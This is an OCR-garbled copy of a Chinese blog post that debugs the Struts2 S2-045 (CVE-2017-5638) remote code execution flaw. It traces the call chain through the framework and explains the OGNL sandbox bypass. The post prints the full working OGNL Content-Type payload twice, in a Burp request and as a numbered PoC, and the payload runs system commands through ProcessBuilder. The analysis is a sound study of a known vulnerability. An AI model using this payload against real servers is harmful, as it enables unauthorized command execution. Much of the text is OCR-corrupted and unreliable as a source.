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ox01: VEATUESS
#NT#BFR T apache/struts2/interceptor/FileUploadinterceptorjava {4 Localized TextUtil.find Text() BRERFEIRS
BEH IR :

35 @@ -258,11 +256,16 @@ public String intercept(ActionInvocation invecation) throws Exception {

MultiPartRequestirapper multikrapper = (MultiPartReguestlirapper) reguest;

if (multiWrapper.hasErrors(}) {
+ if (multiWrapper.hasErrors()} && walidation != null) {
+ TextProvider textProvider = getTextProvider{action);

for {(LocalizedMesszage error @ multikrapper.getErrors()) {
if (validation != null) {
validation.addActionError{LocalizedTextUtil.findText(error.getClazz(), error.getTextKey(), ActionContext.getlc
+ 5tring errorMessage;
+ if (textProvider.hasKey{error.getTextKey(})) {
+ errorMessage = textProvider.getText({error.getTextkKey(), Arrays.aslist(error.getargs())});
+ } else {
+ errorMessage = textProvider.getText("struts.messages.error.uploading”, error.getDefaultMessage());
mRER:
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RIE FERSE, FBIDEA 7E struts2-core-2.5.10 jarl /org/apache/struts2/dispatcher/Dispatcher.class £58417 &8
PN,
TR

HttpServletRequest wrapRequest (HttpServletRequest request) I0Exception {

StrutsRequestWrapper) {

ovider

MultiPartR T . =1 .disableRequ

StrutsReques 5t [ AttributeValueStackLoolkup)

SAEANI T EFR, FBurpsuiteff HTTP Content-Type SkAbEANKH#Payload, &E:

Request

J Faw T Params T Headers T Hex ]

GET Jfindex.action HTTR/1.1

Host: localhost788

User-Agent: [Weeie® © oo, 8 00, Sows, s, 008 Seoeo 0080 Saate ae ]
Coockie: Sessionld=sid

Charsert: UTF-8

Content-Type:

H#nike="multipart/form-data’).(#dm= @ognl.OgnlContext@DEFAULT MEMBER_ACCESS).(# member
Access?[# memberdccess=#dm):((#container=#context' com.opensymphonysowork? ActionContext.
container']).(#ognlUtil=#container.getinstance(@com.opensymphaonyswork2.ognl.Ognlltil@class)).(
#ognlUtil.getExcludedPackageMames() clear()).#ognlUtil.getExcludedClasses() clear().(#context.set
Memberdccess(#dm)))).#Fomd="calc’) (#iswin=(@]avalang System@ getProperty('os.name’) toLowerC
ase().contains('win'))).#Hcmds=#swin?{'cmd.exe’, '/’ Fomdbf fhinfbash','-c' #omd})).#Hp=new
javalang.ProcessBuilder(#omds)) (#predirectErrorStreamtrue)) (#Fprocess=#p.start])) Fros=(@org.
apache.struts2 ServletActionContext@ getResponse().getOutputStream())) (@ org.apache.commons.io
JOUtls@ copy(#process.getlnputStream (), #ros)) (#ros Hush ()}

boundary=------------cmmmmme e 18012721719170

Cache-Control: no-cache

Pragma: no-cache

Accept: test/html, image/gif, image/jpen, *; q=.2, */*; g=.2

Content-Length: 155

Connection: close

----------------------------- 18012721719170
Content-Disposition: form-data; name="pocdile"; filename="text.png"
Content-Type: text/plain

test

W IR AT SERIHTTP Content-Type kA& & " multipart/form-data"FfFEERT, struts2iBZBSINAERIENEN HE
SHRGIEK, FRLASIZER HESHRIREFHITENT, BEHAS— M =ARKESE 587177 MultiPartRequestWrapper
EREGH—RENT,
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RIERFIEITRENX struts2-core-
2.5.10 jarl/org/apache/struts2/dispatcher/multipart/MultiPartRequestWrapper.class X{45391T MultiPartRequest

22 parseiRE]

& MultiPartRequestWrapper.class
Decompiled .class file, bytecode version: 51.0 (Java 7)

@ MultiPartRequestWrapper (Mul tiPartRequest multiPartRequest, HttpServletRequest request, String

Irequest, disableRequestAttributeValueStackLookup)
defaultlocale = Locale. ENGLISH

EIrors = ArrayList()

milti = multiPartRequest

defaultlLocale = provider. getLocale()

setlocalelrequest)

.multi. parselrequest, saveDir): request: saveDir: “C:\Users|LandGrey

Tterator 1$ = milt1 E":I'El'l'-:-l':" l1teratorl)

(1§, hasNext()) {

LocalizedMessage error = (LocalizedMessage)i}.next()

addError (error)

BEXparsefZ YK, EAIEF struts2-core-
2.5.10 jar!/org/apache/strutsz2/dispatcher/multipart/JakartaMultiPartRequest.class /4584617 processUpload

R
4 JakartaMultiPartRequest.class

Decompiled .class file, bytecode version: 51.0 (Java 7)
Lugeel LW — LUpnalldagfl. B2 LLUEECL | Jabial Lafbll LID al LASHLES L

MapiString, List<Fileltem:» files = HashMWap ()

Map<S8tring, List<String’’ params = HashMap ()

Jakar taMultiPartRequest () {

parse (HttpServletRequest request, String saveDir) I0Exception {

ocalizedMessage errorMessage
{
setlocale (request)
.processlUplead(request, saveDir): request: RequestFacade@7400 saveDir: °C:\Users\LandGrey
(FileUploadBxception varf) |

LOG. warn

=x. getActua

REHIT—FFstep intoFIstep overZliX commons-fileupload-
1.3.2jar!/org/apache/commons/fileupload/FileUploadBase.class X{f&5221T, XELBXHIMERE HESUE

HIER, (BRFIKTITIERHTTP Content-Type KAWEREIL ‘'multipart/"FfFEEFHR, SHE—MNRREVFIRTITIERR,
XEZLL 'S FFS5Fk, ALASHHER
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FileltemTIteratorTmpl (RequestContext ctx) FilelUploadBxeeption, I0Exception {

{

NullPointerException

String contentType = ctx. getContentTypel)
contentType &k contentType. toLowerCase (Locale. ENGLISH). startsWith! contentType: “§{(fnike="multipar
getInputStream()
ntentlength()

requestiize p dContes: isAssignableFromictx. getClass()) 7 ((UploadContext)ctx). contentlengthi)

(FileUploadBase
FilelploadBase sizeMax) {

Exception(String. format |

IREEIR, £FIX struts2-core-2.5.10,jar!/org/apache/strutsz2/interceptor/FileUploadinterceptor.class /45598

17, XBEBEIREERHE Localized TextUtiLfind Text() BREL R TAME

4 FileUploadinterceptor.class
Decompiled .class file, bytecode version: 51.0 (Java 7)
ValidationAware validatien =
bject action = invocation. getAction()
laction Validationdware) {

validation = (ValidationAware)action

Mul tiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper)recquest
(multiWrapper. hasErrors (1) {

Iterator i = multiWrapper. getBrrors().iterator ()

(1. hasNext()) {
LocalizedMessage error = (LocalizedMessage)if. next()
(validatien != )
validation. ctionBrror LocalizedTextUtil. findText exror. getClazz (), error.getTextKey (), ActionContext.

- | % FileUploadinterceptor.class 3 LocalizedTextUtil.class
Struts2-045 Decompiled .class file, bytecode version: 51.0 (Java 7)

idea prefiz + zaBundlellame + + locale. toString()

myTemplateDir N _ 5
String findText(C Cla String alextName
org.apache.str )
. findText (aClass 3 ocale, aTextName
template.ajaxEr
Resource Bund
LICENSE ixt
log4j2.xml
NOTICE.txt

struts.xml

String findText(Class aClass, String aTextName, Locale locale, String defaultMessage [1 ares) {

ValueStack valueStack = ActionContext. getContext(). getValu

findText(aClass, aTextllame, locale, defaultMessage, args, valueStack): aClass: “class org. apache. struts?. dispatcher. mult

struts-conversi
struts-filedown LocalizedTextUtil * findText()
=

Debugger Server Tomcat Localhost Log Tomcat Catalina Log

%] Frames + = Variables
v enumConstantDirectory = null
- . ionData = null
findText:393, Locali
annotationT:
classValueMap = null
aTextName =
ocale = "zh CN"
defaultMessage =
salue =

hash = 0

B strutsz-core-2.5.10 jarl/com/opensymphony/xworkz2/util/Localized TextUtil.class 344552181THY findText() E&
2, ATLARIIBANIEERNEIRES defaultMessage /9:
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the request doesn’t contain a multipart/form-data or multipart/mixed stream, content type header is ${(#nik

4

Hep8 2 TR I—FHRiENRI5TEPayload,

FESHERERESWIRIEN struts2-core-2.5.10 jar!/com/opensymphony/xwork2/util/Localized TextUtil.class 34

E5134THY findMessage () BR%EL
405471 buildMessageFormat () pRi%k

BREIAE| struts2-core-2.5.10 jarl/com/opensymphony/xwork2/util/ TextParseUtil.class SIFAIEE221T
translateVariables() B{%4

return translateVariables(new char[]{'$, "%}, expression, stack, String.class, (TextParseUtil.ParsedValueEvalue

4

struts-acti

XER expression TEEMEAIHEIEEIRYEIRER defaultMessage’, BEEB R T RAURMHAY $1 ..} #£(89Payload,
Payload& N\ OGNLFRIAEED, REEFTEIIENRPayload, #TH<,

M ERtranslateVariables() BERGHHENR new charlll'$, ‘%1 TLAL I Payload IR B AE WA %l .1 5 $f .1 &R
HrEpayLA,

E/aResume IKERRFHIT, PayloadfiaakIIHIT:
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code version: 51.0atame,

HERE — O >
=1 = pEite  WE
TextParseltil |
itParselUtili) | miZAhPics
translateVar DEG HYP F-E
M+ M- M5
x* x¥ sin cos tan

translateVari

10% log Exp Maod

translateVariabl

—

CE C

5| Tomcat Cata 7

=

n is running

0x03: POCH#r
RNTAEMER, BEEPoctr LA TR :

$1

(#nike="multipart/form-data’).

(#dm=@ognl. OgnlContext@EFAULT MEMBER ACCESS).

(# memberAccess? (# memberAccess=tdm) : ((#container=#context[ com. opensymphony. xwork2. ActionContext. contair
(#ecmd="calc’).

(#iswin=(@java. lang. System@getProperty ( os. name’ ). toLowerCase (). contains C win’))).

(#emds= (#iswin?{ emd. exe’,’ /¢’ , #temd) : {" /bin/bash’,’ —¢’, #emd})).

(#p=new java. lang. ProcessBuilder (#cmds)).

© 00 =N O O B W N

(#p. redirectErrorStream(true)).

—_
(e}

(#process=tp. start ()).

—_
—_

(#ros=(@org. apache. struts2. ServletActionContext@getResponse (). getOutputStream())).

—
[\

(@org. apache. commons. io. I0Utils@copy (#process. getInputStream(), #ros)).
(#ros. flush())
1

— =
> w

M PocLd $100A.0000.0000)  KIEEHE, HISTHIR, AIESEE, ESHRSIERERIOFZZIM.

B5G struts2 {EZRIE EEREIRY .. 1 86 %I .. | RIEIFRFER =5E OGNL SRIATLH ognlOgnl parseExpression() BRiEL
FHTIRHIRRT,
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—: POCH (xxx). S REBIKRIREANEERERHTATRE?
(BT MERPOCTIB TR TRIIOE: FEES TRAR MR RAE N — MR GBI T TR,

ARTE, REAEETLGESHREBEGERNognZRIAT:

(#s=2%5). (@java. lang. System@out. println(#s)). (4+2). (#s="middle’ ). (@java. lang. System@out. println (#s)). (4-1). (3%7)

>

import ognl. Ognl;

import java. lang. System;
import ognl. OgnlContext;
import ognl. OgnlException;

public class testOGNL {
public static void main(String[] args) {

Object rootObject = new Object():

OgnlContext context = new OgnlContext () ;

String expr = 7 (#s=2%5). (@java. lang. System@out. println (#s)). (4+2). (#s="middle’ ). (@java. lz

try {
Object expression = ognl. Ognl. parseExpression (expr) ;
String value = Ognl. getValue (expression, context, rootObject).toString();
System. out. println (value) ;

}catch (OgnlException e) {
System. out. println ("error: \n”);

e. printStackTrace() ;

WiThE, Bt

10
middle
21

FTLA, BJLARIR:
LB SR SREGEERAIOgnIZRIATERETIF D2 ERERRY, 388 EEHER.

—: POCHIEB3{TRISBHATHIR LZEMA?
struts2ti THRASFENRSPITIRA, EHAEINBRIAE TR~ HPshEIEAE struts2-core-25.10jar/struts-

defaultxml EEBEN/HHPHRET —ERZE, BEEENT EMEEREZE struts.excludedClasses .
struts.excludedPackageNames £, BALEIEEEFIBEEBEPHIENSEOGNIREAR FHIT

https://landgrey.me/struts2-045-debugging/ 719



2019/9/14 struts2-045} 1A Debug 5 POC4 1T - LandGrey's blog

constani name

value

FE=1TEIYITPOCHZFRIGEZ Bt SecurityMemberAccess EENBUAKR, L83 THSoBRINEZEENE
AIBRHL.

FE=ITESEENT— DEFAULT_MEMBER_ACCESS ;

FEIYTA T HETERANstruts2, =B #EF DEFAULT_MEMBER_ACCESS EM®{E _memberAccess BiEZ 1Tk
FhiBid Container BISEFIZEIREN OgnlUtiL BB OgnlUtil BEEINEZ B EMEEZ SR, &EEEn
DEFAULT_MEMBER_ACCESS,

4 Security Member Access E#Z5 /9 Defaul Member ACCESS f&, SiEJLASTE A NENZILEREMS AHEE
BRE, BEARJaveBEEITRADSHIRLT .

HEEBDPOCEN
LEESHIPOCE N 2 EMAIOgNL (EHY Java (KB T :
5 -10 {TRFIMIRSBIRIER S, FH ProcessBuilder HiiT@m<;

11-13 1T NITIn SHIERMKE struts2 Y Response HIHEIE,

i

\|

0x04: B4

BELRER debug TEFIESAHES T LUSAIRIET=4ERE S struts2 # fileupload EHFEHIMT I EEEKRAT, (£
TARRERGZE, SEREFEME THERER, M struts2 NEZFWIHEFERIEBNIEIREEHE Ognl T35 2
PHIT, SETRSHITRIRE.

AT EBEXRBEAIREEREFNdebugfra A ERTLAE T Ma BAIR AU RINFE -
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struts2-core-2.5.10,jar!/orgfapache/struts2/dispatcher/Dispatcher.class §584 {7 contains BB L&

Y
struts2-core-2.5.10 jarl/org/apache/struts2/dispatcher/Dispatcher.class 58587 §T MultiPartRequestWrapper &

Y
struts2-core-2.5.10,jar!/orgfapache/struts2/dispatcher/multipart/MultiPartRequestWrapper.class $3947 this.multi.parse B

Y
struts2-core-2.5.10.jar!/orgfapache/struts2/dispatcher/multipart/JakartaMultiPartRequest.class §46{7 processUpload &

 J
commons-fileupload-1.3.2 jar!/org/apache/commons/fileupload/FileUploadBase.class 552217 startsWith BB L&

Y
struts2-core-2.5.10.jar!/org/apache/struts2/interceptor/FileUploadinterceptor.class $598{7 validation.addActionError &l

Y
struts2-core-2.5.10,jar!/com/opensymphony/xwork2 futil/LocalizedTextUtil.class §£218§T findText() HE

Y
struts2-core-2.5.10 jar!/com/opensymphony/xwork2/util/LocalizedT extUtil.class 5851 3{7#Y findMessage() &#{

:

struts2-core-2.5.10.jar!/com/opensymphony/xwork2 /util/LocalizedT extUtil.class 38405fT buildMessageFormat() @&l

.

struts2-core-2.5.10.jarl/com/opensymphony/xwork2/util/TextParseUtil.class 582247 translateVariables() &

BIXFRREDAARLLESR, PRARELRANRRE, ATEBAEE—RMEREMEIISEZ Y. E5 Fuzzing 1%
ARFRIMA RETFER N TRE .
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